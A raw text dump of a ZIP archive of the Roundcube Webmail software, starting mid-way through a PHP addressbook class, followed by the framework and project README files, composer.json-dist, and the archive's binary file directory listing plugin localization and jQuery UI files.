        return $assoc && !empty($record) ? $record : $this->result;
    }

    /**
     * Check the given data before saving.
     * If input not valid, the message to display can be fetched using get_error()
     *
     * @param array &$save_data Associative array with data to save
     * @param bool  $autofix    Try to fix/complete record automatically
     *
     * @return bool True if input is valid, False if not.
     */
    public function validate(&$save_data, $autofix = false)
    {
        $email = array_filter($this->get_col_values('email', $save_data, true));

        // require email
        if (empty($email) || count($email) > 1) {
            $this->set_error(self::ERROR_VALIDATE, 'noemailwarning');
            return false;
        }

        $email = $email[0];

        // check validity of the email address
        if (!rcube_utils::check_email(rcube_utils::idn_to_ascii($email))) {
            $rcube = rcube::get_instance();
            $error = $rcube->gettext(['name' => 'emailformaterror', 'vars' => ['email' => $email]]);
            $this->set_error(self::ERROR_VALIDATE, $error);
            return false;
        }

        return true;
    }

    /**
     * Create a new contact record
     *
     * @param array $save_data Associative array with save data
     * @param bool  $check     Enables validity checks
     *
     * @return int|bool The created record ID on success, False on error
     */
    function insert($save_data, $check = false)
    {
        if (!is_array($save_data)) {
            return false;
        }

        if ($check && ($existing = $this->search('email', $save_data['email'], false, false))) {
            if ($existing->count) {
                return false;
            }
        }

        $this->cache = null;

        $this->db->query(
            "INSERT INTO " . $this->db->table_name($this->db_name, true)
            . " (`user_id`, `changed`, `type`, `name`, `email`)"
            . " VALUES (?, " . $this->db->now() . ", ?, ?, ?)",
            $this->user_id,
            $this->type,
            $save_data['name'],
            $save_data['email']
        );

        return $this->db->insert_id($this->db_name);
    }

    /**
     * Update a specific contact record
     *
     * @param mixed $id        Record identifier
     * @param array $save_cols Associative array with save data
     *
     * @return bool True on success, False on error
     */
    function update($id, $save_cols)
    {
        return false;
    }

    /**
     * Delete one or more contact records
     *
     * @param array $ids   Record identifiers
     * @param bool  $force Remove record(s) irreversible (unsupported)
     *
     * @return int|false Number of removed records
     */
    function delete($ids, $force = true)
    {
        if (!is_array($ids)) {
            $ids = explode(self::SEPARATOR, $ids);
        }

        $ids = $this->db->array2list($ids, 'integer');

        // flag record as deleted (always)
        $this->db->query(
            "DELETE FROM " . $this->db->table_name($this->db_name, true)
            . " WHERE `user_id` = ? AND `type` = ? AND `address_id` IN ($ids)",
            $this->user_id, $this->type
        );

        $this->cache = null;

        return $this->db->affected_rows();
    }

    /**
     * Remove all records from the database
     *
     * @param bool $with_groups Remove also groups
     *
     * @return int Number of removed records
     */
    function delete_all($with_groups = false)
    {
        $this->db->query("DELETE FROM " . $this->db->table_name($this->db_name, true)
            . " WHERE `user_id` = ? AND `type` = ?",
            $this->user_id, $this->type
        );

        $this->cache = null;

        return $this->db->affected_rows();
    }
}
PK
h�\p����program/lib/Roundcube/README.mdnu�[���Roundcube Framework
===================

INTRODUCTION
------------
The Roundcube Framework is the basic library used for the Roundcube Webmail
application. It is an extract of classes providing the core functionality for
an email system. They can be used individually or as package for the following
tasks:

- IMAP mailbox access with optional caching
- MIME message handling
- Email message creation and sending through SMTP
- General caching utilities using the local database
- Database abstraction using PDO
- VCard parsing and writing


REQUIREMENTS
------------
PHP Version 7.3 or greater including:
   - PCRE, DOM, JSON, Session, Sockets, OpenSSL, Mbstring, Filter, Ctype, Intl (required)
   - PHP PDO with driver for either MySQL, PostgreSQL, SQL Server, Oracle or SQLite (required)
   - Iconv, Zip, Fileinfo, Exif (recommended)
   - LDAP for LDAP addressbook support (optional)


INSTALLATION
------------
Copy all files of this directory to your project or install it in the default
include_path directory of your webserver. Some classes of the framework require
external libraries. See composer.json-dist for the list of required packages.


USAGE
-----
The Roundcube Framework provides a bootstrapping file which registers an
autoloader and sets up the environment necessary for the Roundcube classes.
In order to make use of the framework, simply include the bootstrap.php file
from this directory in your application and start using the classes by simply
instantiating them.

If you wanna use more complex functionality like IMAP access with database
caching or plugins, the rcube singleton helps you loading the necessary files:

```php
<?php

define('RCUBE_CONFIG_DIR',  '<path-to-config-directory>');
define('RCUBE_PLUGINS_DIR', '<path-to-roundcube-plugins-directory');

require_once '<path-to-roundcube-framework/bootstrap.php';

$rcube = rcube::get_instance(rcube::INIT_WITH_DB | rcube::INIT_WITH_PLUGINS);
$imap = $rcube->get_storage();

// do cool stuff here...

?>
```

LICENSE
-------
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License (**with exceptions
for plugins**) as published by the Free Software Foundation, either
version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see [www.gnu.org/licenses/][gpl].

This file forms part of the Roundcube Webmail Framework for which the
following exception is added: Plugins which merely make function calls to the
Roundcube Webmail Framework, and for that purpose include it by reference
shall not be considered modifications of the software.

If you wish to use this file in another project or create a modified
version that will not be part of the Roundcube Webmail Framework, you
may remove the exception above and use this source code under the
original version of the license.

For more details about licensing and the exceptions for skins and plugins
see [roundcube.net/license][license]


CONTACT
-------
For bug reports or feature requests please refer to the tracking system
at [Github][githubissues] or subscribe to our mailing list.
See [roundcube.net/support][support] for details.

You're always welcome to send a message to the project admins:
hello(at)roundcube(dot)net


[pear]:         http://pear.php.net
[gpl]:          http://www.gnu.org/licenses/
[license]:      http://roundcube.net/license
[support]:      http://roundcube.net/support
[githubissues]: https://github.com/roundcube/roundcubemail/issues
PK
h�\�ft�

	README.mdnu�[���Roundcube Webmail 
=================
[roundcube.net](https://roundcube.net)

[![Tests Status](https://github.com/roundcube/roundcubemail/actions/workflows/tests.yml/badge.svg?branch=master)](https://github.com/roundcube/roundcubemail/actions/workflows/tests.yml)


INTRODUCTION
------------
Roundcube Webmail is a browser-based multilingual IMAP client with an
application-like user interface. It provides full functionality you expect
from an email client, including MIME support, address book, folder management,
message searching and spell checking. Roundcube Webmail is written in PHP and
requires the MySQL, PostgreSQL or SQLite database. With its plugin API it is
easily extendable and the user interface is fully customizable using skins.

The code designed to run on a webserver is mainly written in PHP and Javascript.
It includes a custom framework with an IMAP library derived from [IlohaMail][iloha]
and requires a set of external libraries (see composer.json and jsdeps.json files).


INSTALLATION
------------
For detailed instructions on how to install Roundcube webmail on your server,
please refer to the INSTALL document in the same directory as this document.

If you're updating an older version of Roundcube please follow the steps
described in the UPGRADING file.


BROWSER SUPPORT
---------------
Roundcube uses jQuery 3.x (and other libs) for its client and therefore
inherits the browser support from there. This currently includes:

- Chrome: (Current - 1) and Current
- Edge: (Current - 1) and Current
- Firefox: (Current - 1) and Current, ESR
- Internet Explorer: 11+
- Safari: (Current - 1) and Current
- Opera: Current


LICENSE
-------
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License (**with exceptions
for skins & plugins**) as published by the Free Software Foundation,
either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see [www.gnu.org/licenses/][gpl].

This file forms part of the Roundcube Webmail Software for which the
following exception is added: Plugins and Skins which merely make
function calls to the Roundcube Webmail Software, and for that purpose
include it by reference shall not be considered modifications of
the software.

If you wish to use this file in another project or create a modified
version that will not be part of the Roundcube Webmail Software, you
may remove the exception above and use this source code under the
original version of the license.

For more details about licensing and the exceptions for skins and plugins
see [roundcube.net/license][license]


CONTRIBUTION
------------
Want to help make Roundcube the best webmail solution ever?
Roundcube is open source software. Our developers and contributors all
are volunteers and we're always looking for new additions and resources.
For more information visit [roundcube.net/contribute][contrib]


CONTACT
-------
For bug reports or feature requests please refer to the tracking system
at [Github][githubissues] or subscribe to our mailing list.
See [roundcube.net/support][support] for details.

You're always welcome to send a message to the project admin:
hello(at)roundcube(dot)net


[iloha]:        https://sourceforge.net/projects/ilohamail/
[gpl]:          https://www.gnu.org/licenses/
[license]:      https://roundcube.net/license
[contrib]:      https://roundcube.net/contribute
[support]:      https://roundcube.net/support
[githubissues]: https://github.com/roundcube/roundcubemail/issues
PK
h�\/�I>>composer.json-distnu�[���{
    "name": "roundcube/roundcubemail",
    "description": "The Roundcube Webmail suite",
    "license": "GPL-3.0-or-later",
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "pear/pear-core-minimal": "~1.10.1",
        "pear/auth_sasl": "~1.1.0",
        "pear/mail_mime": "~1.10.0",
        "pear/net_smtp": "~1.10.0",
        "pear/crypt_gpg": "~1.6.3",
        "pear/net_sieve": "~1.4.5",
        "roundcube/plugin-installer": "~0.3.1",
        "roundcube/rtf-html-php": "~2.1",
        "masterminds/html5": "~2.7.0",
        "bacon/bacon-qr-code": "^2.0.0",
        "guzzlehttp/guzzle": "^7.3.0"
    },
    "require-dev": {
        "phpunit/phpunit": "^9"
    },
    "suggest": {
        "kolab/net_ldap3": "~1.1.4 required for connecting to LDAP",
        "bjeavons/zxcvbn-php": "^1.0 required for Zxcvbn password strength driver"
    },
    "config": {
        "allow-plugins": {
            "roundcube/plugin-installer": true
        }
    }
}
PKh�\��	��.plugins/help/skins/elastic/templates/help.htmlnu�[���PKh�\p/@1Bplugins/help/skins/elastic/templates/content.htmlnu�[���PKh�\�Tц77�plugins/help/composer.jsonnu�[���PKh�\+�Q��#B
plugins/help/localization/zh_CN.incnu�[���PKh�\'����#<plugins/help/localization/be_BE.incnu�[���PKh�\�~��$$#plugins/help/localization/bg_BG.incnu�[���PKh�\JF�e��#�plugins/help/localization/en_US.incnu�[���PKh�\Θ���#�plugins/help/localization/fi_FI.incnu�[���PKh�\`�8��#plugins/help/localization/nb_NO.incnu�[���PKh�\�m����#J#plugins/help/localization/sq_AL.incnu�[���PKh�\�����#�'plugins/help/localization/et_EE.incnu�[���PKh�\�Ӑ�11#�+plugins/help/localization/ku_IQ.incnu�[���PKh�\
����#S0plugins/help/localization/eu_ES.incnu�[���PKh�\����#�4plugins/help/localization/tr_TR.incnu�[���PKh�\��*$��#�8plugins/help/localization/es_AR.incnu�[���PKh�\���pp &=plugins/help/localization/ku.incnu�[���PKh�\"�S��#�@plugins/help/localization/pt_BR.incnu�[���PKh�\ܲ�''#(Eplugins/help/localization/lv_LV.incnu�[���PKh�\�^h  #�Iplugins/help/localization/sk_SK.incnu�[���PKh�\u)��#Nplugins/help/localization/cs_CZ.incnu�[���PKh�\r�{{ jRplugins/help/localization/ti.incnu�[���PKh�\X�ql��#5Vplugins/help/localization/nl_BE.incnu�[���PKh�\e�k��#gZplugins/help/localization/uk_UA.incnu�[���PKh�\r�g��#�^plugins/help/localization/fy_NL.incnu�[���PKh�\��'��#�bplugins/help/localization/de_CH.incnu�[���PKh�\+�@�ll$�fplugins/help/localization/es_419.incnu�[���PKh�\��)�� �jplugins/help/localization/uz.incnu�[���PKh�\:��9��#�nplugins/help/localization/hy_AM.incnu�[���PKh�\����jj#�rplugins/help/localization/en_CA.incnu�[���PKh�\�ay!!#�vplugins/help/localization/zh_TW.incnu�[���PKh�\
�_���#�zplugins/help/localization/ca_ES.incnu�[���PKh�\��j�� 3plugins/help/localization/ia.incnu�[���PKh�\���
��#8�plugins/help/localization/bs_BA.incnu�[���PKh�\R$BB#J�plugins/help/localization/ru_RU.incnu�[���PKh�\w;τ�#ߋplugins/help/localization/fa_IR.incnu�[���PKh�\-h��#��plugins/help/localization/is_IS.incnu�[���PKh�\�����#�plugins/help/localization/vi_VN.incnu�[���PKh�\��uOO#ԗplugins/help/localization/th_TH.incnu�[���PKh�\� �#v�plugins/help/localization/ar_SA.incnu�[���PKh�\�!��ss#�plugins/help/localization/az_AZ.incnu�[���PKh�\!dH���#��plugins/help/localization/id_ID.incnu�[���PKh�\ܰi3SS!��plugins/help/localization/tzl.incnu�[���PKh�\�]��#e�plugins/help/localization/hu_HU.incnu�[���PKh�\}K ���#��plugins/help/localization/ro_RO.incnu�[���PKh�\p}�Kkk ´plugins/help/localization/eo.incnu�[���PKh�\>�y#}�plugins/help/localization/fr_FR.incnu�[���PKh�\�}�qq#ּplugins/help/localization/hr_HR.incnu�[���PKh�\��F�#��plugins/help/localization/pl_PL.incnu�[���PKh�\�dxGG#��plugins/help/localization/mr_IN.incnu�[���PKh�\u��#��plugins/help/localization/ja_JP.incnu�[���PKh�\F��gg#��plugins/help/localization/nn_NO.incnu�[���PKh�\M�qq!��plugins/help/localization/ast.incnu�[���PKh�\]u���#r�plugins/help/localization/sr_CS.incnu�[���PKh�\�$mm#��plugins/help/localization/lb_LU.incnu�[���PKh�\�M����#i�plugins/help/localization/fa_AF.incnu�[���PKh�\]Bj��� K�plugins/help/localization/br.incnu�[���PKh�\������#k�plugins/help/localization/mk_MK.incnu�[���PKh�\9_9Gdd#��plugins/help/localization/kn_IN.incnu�[���PKh�\Νo{��#T�plugins/help/localization/km_KH.incnu�[���PKh�\��#=�plugins/help/localization/mn_MN.incnu�[���PKh�\M�2k#��plugins/help/localization/he_IL.incnu�[���PKh�\�p{��#�plugins/help/localization/ga_IE.incnu�[���PKh�\����#2�plugins/help/localization/da_DK.incnu�[���PKh�\f���#kplugins/help/localization/sl_SI.incnu�[���PKh�\��S�� splugins/help/localization/ar.incnu�[���PKh�\�unn#�	plugins/help/localization/si_LK.incnu�[���PKh�\"]z���#�
plugins/help/localization/de_DE.incnu�[���PKh�\�i9
��#�plugins/help/localization/sv_SE.incnu�[���PKh�\�mm �plugins/help/localization/ug.incnu�[���PKh�\�9b�#�plugins/help/localization/ko_KR.incnu�[���PKh�\�9�oo#plugins/help/localization/gl_ES.incnu�[���PKh�\��8���#�"plugins/help/localization/it_IT.incnu�[���PKh�\��*$��#'plugins/help/localization/es_ES.incnu�[���PKh�\�Ԋ�#V+plugins/help/localization/ml_IN.incnu�[���PKh�\��k��#3/plugins/help/localization/nl_NL.incnu�[���PKh�\|�7���#43plugins/help/localization/cy_GB.incnu�[���PKh�\_�p&��#{7plugins/help/localization/en_GB.incnu�[���PKh�\ɫ�^��#�;plugins/help/localization/fo_FO.incnu�[���PKh�\|��u��#�?plugins/help/localization/lt_LT.incnu�[���PKh�\vo���#Dplugins/help/localization/pt_PT.incnu�[���PKh�\o��__#GHplugins/help/localization/el_GR.incnu�[���PKh�\ڐ//�Lplugins/help/help.jsnu�[���PKh�\Ia�U�U�!lXplugins/help/content/license.htmlnu�[���PKh�\bX�`` �plugins/help/config.inc.php.distnu�[���PKh�\:��kk��plugins/help/help.phpnu�[���PKh�\�Yv##rplugins/help/help.min.jsnu�[���PKh�\���U��3�plugins/example_addressbook/example_addressbook.phpnu�[���PKh�\?V*|��;5plugins/example_addressbook/example_addressbook_backend.phpnu�[���PKh�\&���ll)6,plugins/example_addressbook/composer.jsonnu�[���PKh�\�o��+�.plugins/redundant_attachments/composer.jsonnu�[���PKh�\�0���13plugins/redundant_attachments/config.inc.php.distnu�[���PKh�\
��(��77plugins/redundant_attachments/redundant_attachments.phpnu�[���PKh�\n�V�==(�Pplugins/krb_authentication/composer.jsonnu�[���PKh�\��F�001�Splugins/krb_authentication/krb_authentication.phpnu�[���PKh�\SZ'�

.eplugins/krb_authentication/config.inc.php.distnu�[���PKh�\���W��,}hplugins/filesystem_attachments/composer.jsonnu�[���PKh�\p��1"1"9�lplugins/filesystem_attachments/filesystem_attachments.phpnu�[���PKh�\��t��!U�plugins/newmail_notifier/mail.pngnu�[���PKh�\&����&&�plugins/newmail_notifier/composer.jsonnu�[���PKh�\x!�Y��0[�plugins/newmail_notifier/newmail_notifier.min.jsnu�[���PKh�\�L��JJ/��plugins/newmail_notifier/localization/zh_CN.incnu�[���PKh�\=qI�!!/,�plugins/newmail_notifier/localization/be_BE.incnu�[���PKh�\y��/��plugins/newmail_notifier/localization/bg_BG.incnu�[���PKh�\�H��hh/��plugins/newmail_notifier/localization/en_US.incnu�[���PKh�\�0cc/a�plugins/newmail_notifier/localization/fi_FI.incnu�[���PKh�\����\\/#�plugins/newmail_notifier/localization/nb_NO.incnu�[���PKh�\���؎�/��plugins/newmail_notifier/localization/sq_AL.incnu�[���PKh�\�!��__/��plugins/newmail_notifier/localization/et_EE.incnu�[���PKh�\|]@�LL/��plugins/newmail_notifier/localization/ku_IQ.incnu�[���PKh�\(�܌�/4�plugins/newmail_notifier/localization/eu_ES.incnu�[���PKh�\���L}}/�plugins/newmail_notifier/localization/tr_TR.incnu�[���PKh�\Y�~_��/��plugins/newmail_notifier/localization/es_AR.incnu�[���PKh�\��nn,�plugins/newmail_notifier/localization/ku.incnu�[���PKh�\5�%��/��plugins/newmail_notifier/localization/pt_BR.incnu�[���PKh�\�	Ӹ�/�plugins/newmail_notifier/localization/lv_LV.incnu�[���PKh�\zR褉�/�plugins/newmail_notifier/localization/sk_SK.incnu�[���PKh�\�栬�/�plugins/newmail_notifier/localization/cs_CZ.incnu�[���PKh�\��4��,�plugins/newmail_notifier/localization/ti.incnu�[���PKh�\ZX�vv/5plugins/newmail_notifier/localization/nl_BE.incnu�[���PKh�\A�����/
plugins/newmail_notifier/localization/uk_UA.incnu�[���PKh�\���]]/[plugins/newmail_notifier/localization/fy_NL.incnu�[���PKh�\�\97ss/"plugins/newmail_notifier/localization/de_CH.incnu�[���PKh�\Y]���0�'plugins/newmail_notifier/localization/es_419.incnu�[���PKh�\|y<^��,.plugins/newmail_notifier/localization/uz.incnu�[���PKh�\Nr����/
4plugins/newmail_notifier/localization/hy_AM.incnu�[���PKh�\�H��hh/S;plugins/newmail_notifier/localization/en_CA.incnu�[���PKh�\]�F44/Aplugins/newmail_notifier/localization/zh_TW.incnu�[���PKh�\����/�Fplugins/newmail_notifier/localization/ca_ES.incnu�[���PKh�\S^� ��,�Lplugins/newmail_notifier/localization/ia.incnu�[���PKh�\)![hh/Splugins/newmail_notifier/localization/bs_BA.incnu�[���PKh�\�T��/�Xplugins/newmail_notifier/localization/ru_RU.incnu�[���PKh�\/(w>../V`plugins/newmail_notifier/localization/fa_IR.incnu�[���PKh�\&�ZD��/�fplugins/newmail_notifier/localization/is_IS.incnu�[���PKh�\/���/�lplugins/newmail_notifier/localization/vi_VN.incnu�[���PKh�\ϣ%��/0splugins/newmail_notifier/localization/th_TH.incnu�[���PKh�\�`�|qq/{plugins/newmail_notifier/localization/ar_SA.incnu�[���PKh�\ܿtȝ�/�plugins/newmail_notifier/localization/az_AZ.incnu�[���PKh�\����/߇plugins/newmail_notifier/localization/id_ID.incnu�[���PKh�\s�rw��/ލplugins/newmail_notifier/localization/hu_HU.incnu�[���PKh�\��xx/�plugins/newmail_notifier/localization/ro_RO.incnu�[���PKh�\�0�88,�plugins/newmail_notifier/localization/eo.incnu�[���PKh�\$*@��/v�plugins/newmail_notifier/localization/fr_FR.incnu�[���PKh�\mEjfkk/��plugins/newmail_notifier/localization/hr_HR.incnu�[���PKh�\J����/x�plugins/newmail_notifier/localization/pl_PL.incnu�[���PKh�\�'6Ŏ�/��plugins/newmail_notifier/localization/mr_IN.incnu�[���PKh�\��)�

/��plugins/newmail_notifier/localization/ja_JP.incnu�[���PKh�\�on�&&/�plugins/newmail_notifier/localization/nn_NO.incnu�[���PKh�\��壮�-��plugins/newmail_notifier/localization/ast.incnu�[���PKh�\z���ww/��plugins/newmail_notifier/localization/sr_CS.incnu�[���PKh�\L�	̎�/y�plugins/newmail_notifier/localization/lb_LU.incnu�[���PKh�\�	4_��,f�plugins/newmail_notifier/localization/br.incnu�[���PKh�\�R���/O�plugins/newmail_notifier/localization/mk_MK.incnu�[���PKh�\�,
DD/��plugins/newmail_notifier/localization/km_KH.incnu�[���PKh�\��F(oo/D�plugins/newmail_notifier/localization/mn_MN.incnu�[���PKh�\��_KK/�plugins/newmail_notifier/localization/he_IL.incnu�[���PKh�\�(.e��/��plugins/newmail_notifier/localization/ga_IE.incnu�[���PKh�\)dr�FF/�plugins/newmail_notifier/localization/da_DK.incnu�[���PKh�\<�r�qq/�plugins/newmail_notifier/localization/sl_SI.incnu�[���PKh�\ķ;iTT,c
plugins/newmail_notifier/localization/ar.incnu�[���PKh�\�XS�TT/plugins/newmail_notifier/localization/si_LK.incnu�[���PKh�\�"��/�plugins/newmail_notifier/localization/de_DE.incnu�[���PKh�\ʾ��/�plugins/newmail_notifier/localization/sv_SE.incnu�[���PKh�\�W����,�plugins/newmail_notifier/localization/ug.incnu�[���PKh�\A���/|&plugins/newmail_notifier/localization/ko_KR.incnu�[���PKh�\�bX��/�,plugins/newmail_notifier/localization/gl_ES.incnu�[���PKh�\[X����/�2plugins/newmail_notifier/localization/it_IT.incnu�[���PKh�\�����/�8plugins/newmail_notifier/localization/es_ES.incnu�[���PKh�\�Hj��/�>plugins/newmail_notifier/localization/ml_IN.incnu�[���PKh�\��@hh/.Hplugins/newmail_notifier/localization/nl_NL.incnu�[���PKh�\n�\�aa/�Mplugins/newmail_notifier/localization/cy_GB.incnu�[���PKh�\����dd/�Splugins/newmail_notifier/localization/en_GB.incnu�[���PKh�\�ǯ���/xYplugins/newmail_notifier/localization/fo_FO.incnu�[���PKh�\ow���/_plugins/newmail_notifier/localization/lt_LT.incnu�[���PKh�\i����/`eplugins/newmail_notifier/localization/pt_PT.incnu�[���PKh�\Q�z�YY/�kplugins/newmail_notifier/localization/el_GR.incnu�[���PKh�\KG�&��->splugins/newmail_notifier/newmail_notifier.phpnu�[���PKh�\|�>B>B$'�plugins/newmail_notifier/favicon.iconu�[���PKh�\{���)�)"��plugins/newmail_notifier/sound.mp3nu�[���PKh�\!��B��"�plugins/newmail_notifier/sound.wavnu�[���PKh�\0���LL,H�plugins/newmail_notifier/config.inc.php.distnu�[���PKh�\�:~~~$�plugins/newmail_notifier/overlay.iconu�[���PKh�\��uEww,§plugins/newmail_notifier/newmail_notifier.jsnu�[���PKh�\c�!ff$��plugins/jqueryui/js/jquery-ui.min.jsnu�[���PKh�\RE�.��6O�
plugins/jqueryui/js/jquery-ui-accessible-datepicker.jsnu�[���PKh�\�w�<�<,��
plugins/jqueryui/js/jquery.minicolors.min.jsnu�[���PKh�\�s��,plugins/jqueryui/js/i18n/datepicker-nl-BE.jsnu�[���PKh�\���E)9plugins/jqueryui/js/i18n/datepicker-is.jsnu�[���PKh�\���7,�!plugins/jqueryui/js/i18n/datepicker-pt-BR.jsnu�[���PKh�\����)'plugins/jqueryui/js/i18n/datepicker-sq.jsnu�[���PKh�\��l),plugins/jqueryui/js/i18n/datepicker-lt.jsnu�[���PKh�\,�BU��)}1plugins/jqueryui/js/i18n/datepicker-fa.jsnu�[���PKh�\x����)b7plugins/jqueryui/js/i18n/datepicker-af.jsnu�[���PKh�\D_�\��)r<plugins/jqueryui/js/i18n/datepicker-ml.jsnu�[���PKh�\���7)�Cplugins/jqueryui/js/i18n/datepicker-uk.jsnu�[���PKh�\7	'���)�Iplugins/jqueryui/js/i18n/datepicker-nl.jsnu�[���PKh�\�Y���)&Oplugins/jqueryui/js/i18n/datepicker-ca.jsnu�[���PKh�\��_���)6Tplugins/jqueryui/js/i18n/datepicker-es.jsnu�[���PKh�\\�V�aa)HYplugins/jqueryui/js/i18n/datepicker-vi.jsnu�[���PKh�\^|O��)_plugins/jqueryui/js/i18n/datepicker-mk.jsnu�[���PKh�\��J��)�dplugins/jqueryui/js/i18n/datepicker-hy.jsnu�[���PKh�\�L�**,kplugins/jqueryui/js/i18n/datepicker-zh-CN.jsnu�[���PKh�\yn~�nn)�pplugins/jqueryui/js/i18n/datepicker-sr.jsnu�[���PKh�\�{�ż�)Xvplugins/jqueryui/js/i18n/datepicker-ms.jsnu�[���PKh�\vo�
��,m{plugins/jqueryui/js/i18n/datepicker-cy-GB.jsnu�[���PKh�\v�ҵ�,��plugins/jqueryui/js/i18n/datepicker-sr-SR.jsnu�[���PKh�\�a
:��)��plugins/jqueryui/js/i18n/datepicker-et.jsnu�[���PKh�\a^�=��)�plugins/jqueryui/js/i18n/datepicker-da.jsnu�[���PKh�\�Yq���,%�plugins/jqueryui/js/i18n/datepicker-en-NZ.jsnu�[���PKh�\=����,M�plugins/jqueryui/js/i18n/datepicker-en-AU.jsnu�[���PKh�\_}�{��)s�plugins/jqueryui/js/i18n/datepicker-pl.jsnu�[���PKh�\Pو��)��plugins/jqueryui/js/i18n/datepicker-sv.jsnu�[���PKh�\x^�3��)��plugins/jqueryui/js/i18n/datepicker-bs.jsnu�[���PKh�\EEb��)��plugins/jqueryui/js/i18n/datepicker-sl.jsnu�[���PKh�\��Y��)�plugins/jqueryui/js/i18n/datepicker-hu.jsnu�[���PKh�\�i���)��plugins/jqueryui/js/i18n/datepicker-fo.jsnu�[���PKh�\�30I��)=�plugins/jqueryui/js/i18n/datepicker-eo.jsnu�[���PKh�\�M�5��)T�plugins/jqueryui/js/i18n/datepicker-bg.jsnu�[���PKh�\�?=��)Q�plugins/jqueryui/js/i18n/datepicker-ru.jsnu�[���PKh�\����,H�plugins/jqueryui/js/i18n/datepicker-fr-CH.jsnu�[���PKh�\?ZT�**,��plugins/jqueryui/js/i18n/datepicker-zh-TW.jsnu�[���PKh�\��Z���)�plugins/jqueryui/js/i18n/datepicker-el.jsnu�[���PKh�\ƲZ��)^�plugins/jqueryui/js/i18n/datepicker-be.jsnu�[���PKh�\?��)r�plugins/jqueryui/js/i18n/datepicker-hr.jsnu�[���PKh�\冢��,��plugins/jqueryui/js/i18n/datepicker-en-GB.jsnu�[���PKh�\�Z�,

)��plugins/jqueryui/js/i18n/datepicker-lv.jsnu�[���PKh�\������)��plugins/jqueryui/js/i18n/datepicker-id.jsnu�[���PKh�\#W��)@�plugins/jqueryui/js/i18n/datepicker-ro.jsnu�[���PKh�\���7��,��plugins/jqueryui/js/i18n/datepicker-fr-CA.jsnu�[���PKh�\,zC���,�plugins/jqueryui/js/i18n/datepicker-it-CH.jsnu�[���PKh�\y;�K��)plugins/jqueryui/js/i18n/datepicker-nb.jsnu�[���PKh�\���X��);plugins/jqueryui/js/i18n/datepicker-it.jsnu�[���PKh�\�Y���)eplugins/jqueryui/js/i18n/datepicker-nn.jsnu�[���PKh�\��m��)�plugins/jqueryui/js/i18n/datepicker-rm.jsnu�[���PKh�\�=3���)�plugins/jqueryui/js/i18n/datepicker-eu.jsnu�[���PKh�\ad�ss)�plugins/jqueryui/js/i18n/datepicker-tj.jsnu�[���PKh�\Aě���,�%plugins/jqueryui/js/i18n/datepicker-ar-DZ.jsnu�[���PKh�\�&��)�+plugins/jqueryui/js/i18n/datepicker-de.jsnu�[���PKh�\r�jCC)1plugins/jqueryui/js/i18n/datepicker-ta.jsnu�[���PKh�\�GE�//)�8plugins/jqueryui/js/i18n/datepicker-th.jsnu�[���PKh�\��>Umm)&?plugins/jqueryui/js/i18n/datepicker-km.jsnu�[���PKh�\v�Ρ��)�Eplugins/jqueryui/js/i18n/datepicker-az.jsnu�[���PKh�\�;���)Kplugins/jqueryui/js/i18n/datepicker-pt.jsnu�[���PKh�\����)7Pplugins/jqueryui/js/i18n/datepicker-ky.jsnu�[���PKh�\j�����)Vplugins/jqueryui/js/i18n/datepicker-ka.jsnu�[���PKh�\lV/b��,R]plugins/jqueryui/js/i18n/datepicker-de-AT.jsnu�[���PKh�\������)ybplugins/jqueryui/js/i18n/datepicker-cs.jsnu�[���PKh�\�����)�gplugins/jqueryui/js/i18n/datepicker-kk.jsnu�[���PKh�\u����)�mplugins/jqueryui/js/i18n/datepicker-lb.jsnu�[���PKh�\�|����)�rplugins/jqueryui/js/i18n/datepicker-ja.jsnu�[���PKh�\N;���)�wplugins/jqueryui/js/i18n/datepicker-fi.jsnu�[���PKh�\1#r��)I}plugins/jqueryui/js/i18n/datepicker-sk.jsnu�[���PKh�\R<�--)l�plugins/jqueryui/js/i18n/datepicker-he.jsnu�[���PKh�\Ka��)�plugins/jqueryui/js/i18n/datepicker-no.jsnu�[���PKh�\���,��)�plugins/jqueryui/js/i18n/datepicker-ar.jsnu�[���PKh�\˲�q((,S�plugins/jqueryui/js/i18n/datepicker-zh-HK.jsnu�[���PKh�\�I�==)טplugins/jqueryui/js/i18n/datepicker-fr.jsnu�[���PKh�\骷��)m�plugins/jqueryui/js/i18n/datepicker-tr.jsnu�[���PKh�\�!��RR){�plugins/jqueryui/js/i18n/datepicker-hi.jsnu�[���PKh�\p����)&�plugins/jqueryui/js/i18n/datepicker-gl.jsnu�[���PKh�\�j\��):�plugins/jqueryui/js/i18n/datepicker-ko.jsnu�[���PKh�\�&d�_�_%��plugins/jqueryui/js/jquery.tagedit.jsnu�[���PKh�\��m��
plugins/jqueryui/composer.jsonnu�[���PKh�\dK�0LL
plugins/jqueryui/jqueryui.phpnu�[���PKh�\�(%%$�-
plugins/jqueryui/config.inc.php.distnu�[���PKh�\�S%�CC>/
plugins/jqueryui/themes/elastic/images/ui-icons-datepicker.pngnu�[���PKh�\?Pd���B�0
plugins/jqueryui/themes/elastic/images/ui-icons_444444_256x240.pngnu�[���PKh�\g��B�L
plugins/jqueryui/themes/elastic/images/ui-icons_777777_256x240.pngnu�[���PKh�\�6<,i
plugins/jqueryui/themes/elastic/images/jquery.minicolors.pngnu�[���PKh�\��(���-�uplugins/jqueryui/themes/elastic/jquery-ui.cssnu�[���PKh�\�N�}r}r1 �plugins/jqueryui/themes/elastic/jquery-ui.min.cssnu�[���PKh�\��n�+�+2�mplugins/jqueryui/themes/elastic/jquery-ui.css.diffnu�[���PKh�\���9�plugins/jqueryui/themes/elastic/jquery.minicolors.min.cssnu�[���PKh�\��JS��5��plugins/jqueryui/themes/elastic/jquery.minicolors.cssnu�[���PKh�\\;Ei

:P�plugins/jqueryui/themes/elastic/jquery.minicolors.css.diffnu�[���PKh�\Fz�

